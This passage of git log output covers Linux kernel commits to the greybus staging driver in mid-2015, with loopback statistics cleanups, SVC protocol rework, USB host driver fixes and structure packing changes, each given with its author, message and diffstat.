that's been done up to that point. Use the convention that the label indicates the first thing that needs to be cleaned up. Reorder the statements in gb_loopback_connection_exit() to match the order of cleanup in gb_loopback_connection_init(). Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) commit ff71d395f3cd5e5efe4b9b3c94c2d41581fb9d8c Author: Alex Elder Date: Mon Aug 3 12:57:19 2015 -0500 greybus: loopback: compute average stats on demand only Stop recording and updating the average every time a sample is recorded. Instead, compute it from the sum and count only when it's required. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 7a135a965c62f7abdf8f3acc5ca45a03d27b272c Author: Alex Elder Date: Mon Aug 3 12:57:18 2015 -0500 greybus: loopback: use separate attribute macro for average Define a separate macro for displaying the average of the samples collected. This will be used so we can calculate the average only when requested, rather than every time a new value gets recorded. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 19c2a443c9efc87ae19d0ef7a5d212614a92479e Author: Alex Elder Date: Mon Aug 3 12:57:17 2015 -0500 greybus: loopback: all read-only attributes are unsigned The only values passed to the gb_loopback_ro_attr() macro are unsigned 32-bit values. So there's no need to pass a "type" format specifier. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit b937aa9e2a5e69cea4a0cc59b2d4dc7a0323ef60 Author: Alex Elder Date: Mon Aug 3 12:57:16 2015 -0500 greybus: loopback: error is an unsigned attribute The error count is unsigned, so fix the format specifier used in its attribute definition. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e13fc28f728ae6aa5e72c90a35d4fb0298205c6c Author: Alex Elder Date: Mon Aug 3 12:57:15 2015 -0500 greybus: loopback: use a 32-bit count The count of statistical samples recorded is currently a 64-bit value. 32 bits is sufficient, and in fact anything more than that won't work for the do_div() call it's pass to anyway. So make the count field be 32 bits. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e051c82b2ba7fb3e237595c4f6d106e04a86baa1 Author: Alex Elder Date: Mon Aug 3 12:57:14 2015 -0500 greybus: loopback: record 32-bit min and max The minimum and maximum values for stats values are always 32 bits. Change the type for these fields to reflect this. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit a6e7e53548b0d54aab0a5c5449e7093a495555d8 Author: Alex Elder Date: Mon Aug 3 12:57:13 2015 -0500 greybus: loopback: use u32 for stats update The only values supplied to gb_loopback_update_stats() are 32-bits, so change the type of the second argument to reflect that. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3320e784550551ae8ae5c22d58e6b90addafe8a4 Author: Alex Elder Date: Mon Aug 3 12:57:12 2015 -0500 greybus: loopback: use U64_MAX for initialization Use the largest representable value when initializing the "min" field when resetting loopback statistics. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3f12c3ed21d9e28ae2dc50a6c567ee5d5c6054d1 Author: Alex Elder Date: Mon Aug 3 12:57:11 2015 -0500 greybus: loopback: drop unneeded casts for void pointers There is no need to cast a void pointer to a particular type. Drop the casts used in this way, mainly in the attribute definition macros. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit 006335a02677ed20dbff44f398a9cbf823db0293 Author: Alex Elder Date: Mon Aug 3 12:57:10 2015 -0500 greybus: looback: fix two typos Fix two misspellings. And add spaces around a '%' operator. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit bfb287a17e79f8d9bd6a99cf79634c4493ad7028 Author: Alex Elder Date: Mon Aug 3 12:57:09 2015 -0500 greybus: interface: declare gb_interface_destroy() Add a public declaration for gb_interface_destroy(), matching gb_interface_create(). It's not yet used outside "interface.c" but I suppose it could be, and its scope is currently public. Signed-off-by: Alex Elder Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 1 + 1 file changed, 1 insertion(+) commit 03cb4fa92ae76cebdb519c92fd3839ac291eac0f Author: Viresh Kumar Date: Wed Jul 29 11:44:08 2015 +0530 greybus: svc: Move '{' to a new line in function definitions That's the style we follow for kernel code. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7f69e5990f66818bd5bdb90a51df0cca2505c1bc Merge: b86b64e 5b559e6 Author: Greg Kroah-Hartman Date: Mon Aug 3 20:06:10 2015 -0700 greybus: Merge branch 'master' into svc Handle some merge conflicts in greybus_protocols.h due to changes on the same structure in both branches. Signed-off-by: Greg Kroah-Hartman commit 5b559e64578783b944691f6f9e7c19812d2fced6 Author: Johan Hovold Date: Sat Aug 1 11:50:41 2015 +0200 greybus: greybus_protocols: use only type attributes for message packing For consistency reasons, use only type attributes for message packing. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 8bbd9edcb71cee96fa7a835f3e445841b8c48fd7 Author: Johan Hovold Date: Sat Aug 1 11:50:40 2015 +0200 greybus: sdio: fix message packing Add missing packed attributes to prevent implicit structure padding. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit cfc5f2c6deb5493d5854036f3d0f396ea4a3e99d Author: Johan Hovold Date: Sat Aug 1 11:50:39 2015 +0200 greybus: uart: fix message packing Add missing packed attributes to prevent implicit structure padding. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2130f09871a70ce425b8d328a641b7a1935ca831 Author: Johan Hovold Date: Sat Aug 1 11:50:38 2015 +0200 greybus: svc: fix message packing Add missing packed attributes to prevent implicit structure padding. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 46d26c5d57daaa39a5f396b13544cdb4ec15d284 Author: Johan Hovold Date: Sat Aug 1 11:50:37 2015 +0200 greybus: greybus_protocols: fix typo in comment Fix misspelled variable name in comment. Reviewed-by: Alex Elder Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e34fae58f6e004baf26ddac937ac13bd53b7c5f2 Author: Viresh Kumar Date: Wed Jul 29 11:42:54 2015 +0530 greybus: operation: Move operation header to greybus_protocols.h This should be exposed to external users (like gbsim). Move it to greybus_protocols.h. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 31 ++++++++++++++++++++++++++++- drivers/staging/greybus/operation.h | 29 --------------------------- 2 files changed, 30 insertions(+), 30 deletions(-) commit f47c1b023ee55737ab5f6b6f479cab06a5a03ba2 Author: Viresh Kumar Date: Wed Jul 29 11:42:53 2015 +0530 greybus: operation: Drop alignment attribute from operation message header The buffers allocated for message header is already 64 bit aligned and we have explicit pad bytes in the header structure, to 64 bit align the operation specific data. And so there is no need to add the aligned attribute to the operation message header. Drop it. Suggested-by: Johan Hovold Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b86b64e9a7a9d8fa6fec85dd85974d7b356b76c7 Merge: 32574ff a964935 Author: Greg Kroah-Hartman Date: Thu Jul 30 13:58:00 2015 -0700 greybus: Merge branch 'master' into svc Get the USB driver fixes in this branch to prevent oopses from happening when the USB host driver protocol is found in a manifest. Signed-off-by: Greg Kroah-Hartman commit a96493560cd16095fd00a936bfa9de8614bab842 Author: Johan Hovold Date: Thu Jul 30 20:30:41 2015 +0200 greybus: usb: disable protocol driver The USB bridged-PHY protocol driver currently depends on changes to USB core that are not yet upstream. Disable for now. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit a422ecd28eb03eca86d2445d8d690402e183838b Author: Johan Hovold Date: Thu Jul 30 20:30:40 2015 +0200 greybus: usb: implement hub_control callback Implement the hub_control callback. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 44 +++++++++++++++++++++++++++++++------------ 1 file changed, 32 insertions(+), 12 deletions(-) commit b1e4a1f8519aebfbf99bee8b3839498f6645e2d7 Author: Johan Hovold Date: Thu Jul 30 20:30:39 2015 +0200 greybus: usb: fix hc_driver fields Fix hc_driver description, product_desc and flags fields. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit cc9bd53eb1bf50e265a8f8741a624bf67851f5c0 Author: Johan Hovold Date: Thu Jul 30 20:30:38 2015 +0200 greybus: usb: fix hcd allocation, deregistration and deallocation Fix allocation, deregistration and deallocation of USB HCD, and update the hcd_priv helper functions. The HCD private data was not allocated correctly, something which would lead to a crash when accessed in hcd_start. The HCD was neither reregistered or deallocated on connection tear down. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 46 ++++++++++++++++++++++++------------------- 1 file changed, 26 insertions(+), 20 deletions(-) commit 583804f7137737e07e69eaed2904cf043f226a83 Author: Johan Hovold Date: Thu Jul 30 20:30:37 2015 +0200 greybus: usb: renumber operation types Renumber the current operation types. NOTE: Protocol change. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3a6b5aeec771205d35f28616a610d9ed5d2c49b2 Author: Johan Hovold Date: Thu Jul 30 20:30:36 2015 +0200 greybus: usb: clean up driver Remove unused, broken or unneeded code and constructs. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/usb.c | 181 ++---------------------------------------- 1 file changed, 6 insertions(+), 175 deletions(-) commit 32574ff3e4360e7c98fe5b2d54afb652aca45a8d Author: Greg Kroah-Hartman Date: Thu Jul 30 12:22:09 2015 -0700 greybus: Revert "connection: remove special check for svc cport id" This reverts commit 60b1d71fdfc2c5266051a1297df01ea0b1f3ba99 as we want the port number to be correct in the svc branch. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit fff494340eab3c1d01f5df07041c4ce165bd13b8 Merge: e75b82b 48ed3f6 Author: Greg Kroah-Hartman Date: Thu Jul 30 12:21:33 2015 -0700 greybus: Merge branch 'master' into svc to keep it up to date. Signed-off-by: Greg Kroah-Hartman commit 48ed3f6e4202c9ddadac057108c273b8be85a78d Author: Viresh Kumar Date: Thu Jul 30 22:13:27 2015 +0530 greybus: connection: remove special check for svc cport id This is required to get things working for now, after the latest revert of svc protocol is done. Currently svc's cport id is set to 2 and that hd cport id will be used for the third connection we make. And that protocol (which is i2c in one of the cases), may not work as the (dis)connected event isn't sent for it. Fix this by getting rid of svc protocol check from (dis)connected events for now. This must be reverted later, once svc protocol is included again. Signed-off-by: Viresh Kumar Tested-by: Mark Greer Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit e75b82bfc72533be25ce42241ca2d07b607ee705 Author: Viresh Kumar Date: Tue Jul 28 07:28:42 2015 +0530 greybus: initialize svc connection while creating hd Its really part of initializing the host device and is required for every 'hd' that is created. Lets move the call to do basic initialization of svc connection to greybus_create_hd(). Also add a comment to specify why we need to do it that early. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 15 +++++++++++++++ drivers/staging/greybus/es1.c | 6 ------ drivers/staging/greybus/es2.c | 6 ------ drivers/staging/greybus/svc.c | 1 - 4 files changed, 15 insertions(+), 13 deletions(-) commit ca539a67c6a25e47233fdab67bdf1d4db00f883f Author: Viresh Kumar Date: Sat Jul 25 10:10:06 2015 +0530 greybus: remove svc_msg.h Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/svc_msg.h | 157 -------------------------------------- 2 files changed, 158 deletions(-) commit 0b161d0a92717d57fd1598e326a68e859bf92a48 Author: Viresh Kumar Date: Sat Jul 25 10:10:05 2015 +0530 greybus: es1: create svc connection early enough The svc connection needs to be ready before creating the URBs, otherwise the svc version request might come in before the AP was ready to parse them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 12 ++++++------ drivers/staging/greybus/es2.c | 12 ++++++------ 2 files changed, 12 insertions(+), 12 deletions(-) commit d45b1b8674cbefe1358a042d800f84766e534ba5 Author: Greg Kroah-Hartman Date: Fri Jul 24 17:21:25 2015 -0700 greybus: interface: make gb_interface_destroy() static The function is only called locally, so mark it static to make sparse happy. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 260998ebc6c5e4a2518347eb4f99629fac4fe6cb Author: Greg Kroah-Hartman Date: Fri Jul 24 17:19:21 2015 -0700 greybus: remove submit_svc from the host driver The callback is never used anymore, so remove it from struct greybus_host_driver as well as from the es1 and es2 drivers. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +-- drivers/staging/greybus/es1.c | 22 ---------------------- drivers/staging/greybus/es2.c | 22 ---------------------- drivers/staging/greybus/greybus.h | 2 -- 4 files changed, 1 insertion(+), 48 deletions(-) commit 8476ec60e1111839469779bb0bba1eade95e53c5 Author: Greg Kroah-Hartman Date: Fri Jul 24 17:15:59 2015 -0700 greybus: greybus.h: remove greybus_svc_in() The function is gone, remove it from the header file as well. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 1 - 1 file changed, 1 deletion(-) commit 0b22649755df615d4b82b625f938a31435ff1726 Author: Perry Hung Date: Fri Jul 24 19:02:34 2015 -0400 greybus: svc: add flags and traffic class parameter to connection create op The AP needs to be able to specify L4 CPort flags and traffic class parameters on a connection-by-connection basis. Extend the connection create operation to accept these. Since there's no policy to decide these, fix them at TC0 with end-to-end-flow control, controlled segment dropping, and CPort safety valve enabled. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 ++ drivers/staging/greybus/svc.c | 10 ++++++++++ 2 files changed, 12 insertions(+) commit 75a60ed20d1ad58983e04dee27faae454e81d6a5 Author: Perry Hung Date: Fri Jul 24 19:02:33 2015 -0400 greybus: svc: connection: ask SVC to create connections Ask the SVC to do all the necessary bits for creating a new connection. This is skipped for the initial SVC connection. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 ++++++- drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/svc.c | 2 ++ 3 files changed, 9 insertions(+), 1 deletion(-) commit 7e275465fabd58065ec49c770bd4446f41a13e87 Author: Perry Hung Date: Fri Jul 24 19:02:32 2015 -0400 greybus: svc: create bidirectional routes on hotplug request Upon receiving a hotplug request, we need to prepare the routing table to allow packets to flow between the AP interface and the newly detected interface. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit e08aaa49df7866c1a786dc01ce4f8a47c6aaa954 Author: Perry Hung Date: Fri Jul 24 19:02:31 2015 -0400 greybus: svc: add route create operation Implement the SVC Protocol Route Create Operation. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 8 ++++++++ drivers/staging/greybus/svc.c | 21 +++++++++++++++++++++ 2 files changed, 29 insertions(+) commit 38e7b48b0c2e9c3fe2831d824466dc52d1393e7c Author: Viresh Kumar Date: Fri Jul 24 15:32:26 2015 +0530 greybus: get rid of old svc-protocol Its not used anymore as we have more sophisticated svc protocol in place, lets get rid of earlier code. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 - drivers/staging/greybus/ap.c | 351 -------------------------------------- drivers/staging/greybus/core.c | 9 - drivers/staging/greybus/greybus.h | 2 - 4 files changed, 363 deletions(-) commit b767ee402070ce467a2b8470706740b55dd3af21 Author: Greg Kroah-Hartman Date: Fri Jul 24 17:09:48 2015 -0700 greybus: es2: remove svc endpoint message handling We have switched over to use the "new" svc messages, no more need to have a special USB endpoint to handle them, they come through the normal CPort messages. Based on a patch from Viresh. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 71 ++----------------------------------------- 1 file changed, 2 insertions(+), 69 deletions(-) commit 1a95812d4656817ded72bba50c74020b5b21589f Author: Greg Kroah-Hartman Date: Fri Jul 24 16:47:07 2015 -0700 greybus: es1: remove svc endpoint message handling We have switched over to use the "new" svc messages, no more need to have a special USB endpoint to handle them, they come through the normal CPort messages. Based on a patch from Viresh. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 71 ++----------------------------------------- 1 file changed, 2 insertions(+), 69 deletions(-) commit ef5d949a8b4eb311d60f38afb83c2c135d785b8a Author: Viresh Kumar Date: Fri Jul 24 15:32:24 2015 +0530 greybus: Switch to Cport 0 for svc and control protocol Initially we fixed it to Cport 2, but its changed to Cport 0 now. Lets switch that in code as well. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 619dccd27b4a9747a42d8dc3e2ed32e32cf29f8a Author: Viresh Kumar Date: Fri Jul 24 15:32:23 2015 +0530 greybus: es1/2: Lets start using svc protocol All bits and pieces are in place now. Lets start using svc protocol instead of stuff present in ap.c. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 15 ++++----------- drivers/staging/greybus/es2.c | 15 ++++----------- 2 files changed, 8 insertions(+), 22 deletions(-) commit 3eac885de205ef57c3d434a8a4e2eadfd4cedde7 Author: Greg Kroah-Hartman Date: Wed Jul 29 10:05:09 2015 -0700 greybus: svc: revert svc changes to keep things working for a while. The firmware for the svc changes isn't quite ready, so revert the whole set of patches in one hunk to get things back to a working state for the other firmware developers. The svc patches will be added back in a separate branch. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/ap.c | 351 ++++++++++++++++++++++++++++ drivers/staging/greybus/connection.c | 7 +- drivers/staging/greybus/core.c | 27 +-- drivers/staging/greybus/es1.c | 106 ++++++++- drivers/staging/greybus/es2.c | 106 ++++++++- drivers/staging/greybus/greybus.h | 7 +- drivers/staging/greybus/greybus_protocols.h | 14 +- drivers/staging/greybus/interface.c | 6 +- drivers/staging/greybus/svc.c | 53 +---- drivers/staging/greybus/svc_msg.h | 157 +++++++++++++ 11 files changed, 741 insertions(+), 94 deletions(-) commit cb60f4960ea03d373899c2c21b0611404025c31f Author: Bryan O'Donoghue Date: Tue Jul 28 18:34:39 2015 +0100 greybus: loopback: warn user if kfifo cannot log all data The depth of the kfifo used to log the latency data for user-space can be moved upwards or downward by way of a module parameter. The user may still specify a test set that's larger than the number of kfifo elements we have available. If the user specifies more iterations than can be logged give a warning as feedback and continue with the test. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit cbd204b48dc445a194d3892e2f46644f9074f308 Author: Bryan O'Donoghue Date: Tue Jul 28 18:34:38 2015 +0100 greybus: loopback: provide interface to read all latency data-points The current loopback code provides the minimum, maximum and average latency values for a given test set. It would be highly useful for user-space to have access to each one of the latency metrics in order to graph outliers. This patch adds a simple character device interface implmenting a read() interface that allows user-space to read out the saved latency metrics which have been stored in a kfifo for this purpose. A module parameter is provided to allow varying the depth of the kfifo in order to allow a user to capture potentially large data sets. This version sets the default depth for the kfifo at 8192 dwords. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 146 ++++++++++++++++++++++++++++++++++++- 1 file changed, 143 insertions(+), 3 deletions(-) commit 85d678c0bee883c63b760b35a4104feac9018a0f Author: Bryan O'Donoghue Date: Tue Jul 28 18:34:36 2015 +0100 greybus: loopback: make loopback code thread safe Current code allows a sysfs callback and a kernel worker thread to write all over and act upon data that could be in the process of being updated by the other. This patch adds a reasonably coarse mutex to enscure sync between the two. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) commit a7e60062b022d1ce1104610d0b0c37322aeb66b6 Author: Bryan O'Donoghue Date: Tue Jul 28 18:34:35 2015 +0100 greybus: loopback: remove redundant timestamping It is of more interest to graphing system performance to base our timestamps on the time it takes a greybus_operation_sync() to complete. Higher level timestamping code is less accurate and not relevant to throughput and latency characterization. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 41 ++++++++++---------------------------- 1 file changed, 11 insertions(+), 30 deletions(-) commit 9612f2bcd466364a244b8c2a012de69abd8fb258 Author: Viresh Kumar Date: Tue Jul 28 07:28:42 2015 +0530 greybus: initialize svc connection while creating hd Its really part of initializing the host device and is required for every 'hd' that is created. Lets move the call to do basic initialization of svc connection to greybus_create_hd(). Also add a comment to specify why we need to do it that early. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 15 +++++++++++++++ drivers/staging/greybus/es1.c | 6 ------ drivers/staging/greybus/es2.c | 6 ------ drivers/staging/greybus/svc.c | 1 - 4 files changed, 15 insertions(+), 13 deletions(-) commit fe166c6a2b9225d71b1b4f1035603e189f6c3640 Author: Greg Kroah-Hartman Date: Mon Jul 27 14:23:44 2015 -0700 greybus: core: clean up ida memory for host controller We forgot to free any ida internal structures that were used by this host controller structure when we free the memory for the controller. So fix that up by doing so in the release function. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/core.c | 1 + 1 file changed, 1 insertion(+) commit d8742156c1c0125b709c262c5a564bb828e126dc Author: Viresh Kumar Date: Sat Jul 25 10:10:06 2015 +0530 greybus: remove svc_msg.h Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/svc_msg.h | 157 -------------------------------------- 2 files changed, 158 deletions(-) commit 5a202efe63dde70885ba91c294690dbbf054a184 Author: Viresh Kumar Date: Sat Jul 25 10:10:05 2015 +0530 greybus: es1: create svc connection early enough The svc connection needs to be ready before creating the URBs, otherwise the svc version request might come in before the AP was ready to parse them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 12 ++++++------ drivers/staging/greybus/es2.c | 12 ++++++------ 2 files changed, 12 insertions(+), 12 deletions(-) commit 4bc88276ebc4ec329fea0e7f811a5cc55ca869ae Author: Greg Kroah-Hartman Date: Fri Jul 24 17:21:25 2015 -0700 greybus: interface: make gb_interface_destroy() static The function is only called locally, so mark it static to make sparse happy. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d187576fbe66995a97eebddaa27474b50407d18f Author: Greg Kroah-Hartman Date: Fri Jul 24 17:19:21 2015 -0700 greybus: remove submit_svc from the host driver The callback is never used anymore, so remove it from struct greybus_host_driver as well as from the es1 and es2 drivers. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 +-- drivers/staging/greybus/es1.c | 22 ---------------------- drivers/staging/greybus/es2.c | 22 ---------------------- drivers/staging/greybus/greybus.h | 2 -- 4 files changed, 1 insertion(+), 48 deletions(-) commit 90c807e4fb19dba5db3ec7b6a86b0038aa574f84 Author: Greg Kroah-Hartman Date: Fri Jul 24 17:15:59 2015 -0700 greybus: greybus.h: remove greybus_svc_in() The function is gone, remove it from the header file as well. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 1 - 1 file changed, 1 deletion(-) commit e50b7be565a888ff0b1ac38247cc3c34e1f9c2f7 Author: Perry Hung Date: Fri Jul 24 19:02:34 2015 -0400 greybus: svc: add flags and traffic class parameter to connection create op The AP needs to be able to specify L4 CPort flags and traffic class parameters on a connection-by-connection basis. Extend the connection create operation to accept these. Since there's no policy to decide these, fix them at TC0 with end-to-end-flow control, controlled segment dropping, and CPort safety valve enabled. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 ++ drivers/staging/greybus/svc.c | 10 ++++++++++ 2 files changed, 12 insertions(+) commit 9c1552d7c4a97acb759ab41635197d213d677c9e Author: Perry Hung Date: Fri Jul 24 19:02:33 2015 -0400 greybus: svc: connection: ask SVC to create connections Ask the SVC to do all the necessary bits for creating a new connection. This is skipped for the initial SVC connection. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 ++++++- drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/svc.c | 2 ++ 3 files changed, 9 insertions(+), 1 deletion(-) commit 5d6896d24a7bf557816677abdac225074576f8a3 Author: Perry Hung Date: Fri Jul 24 19:02:32 2015 -0400 greybus: svc: create bidirectional routes on hotplug request Upon receiving a hotplug request, we need to prepare the routing table to allow packets to flow between the AP interface and the newly detected interface. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 4de9b5679a13e4154a201996115ceb4a9f95cadb Author: Perry Hung Date: Fri Jul 24 19:02:31 2015 -0400 greybus: svc: add route create operation Implement the SVC Protocol Route Create Operation. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 8 ++++++++ drivers/staging/greybus/svc.c | 21 +++++++++++++++++++++ 2 files changed, 29 insertions(+) commit 0af7268882755ae8c3807129dfbbdbe836fd0228 Author: Viresh Kumar Date: Fri Jul 24 15:32:26 2015 +0530 greybus: get rid of old svc-protocol Its not used anymore as we have more sophisticated svc protocol in place, lets get rid of earlier code. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 - drivers/staging/greybus/ap.c | 351 -------------------------------------- drivers/staging/greybus/core.c | 9 - drivers/staging/greybus/greybus.h | 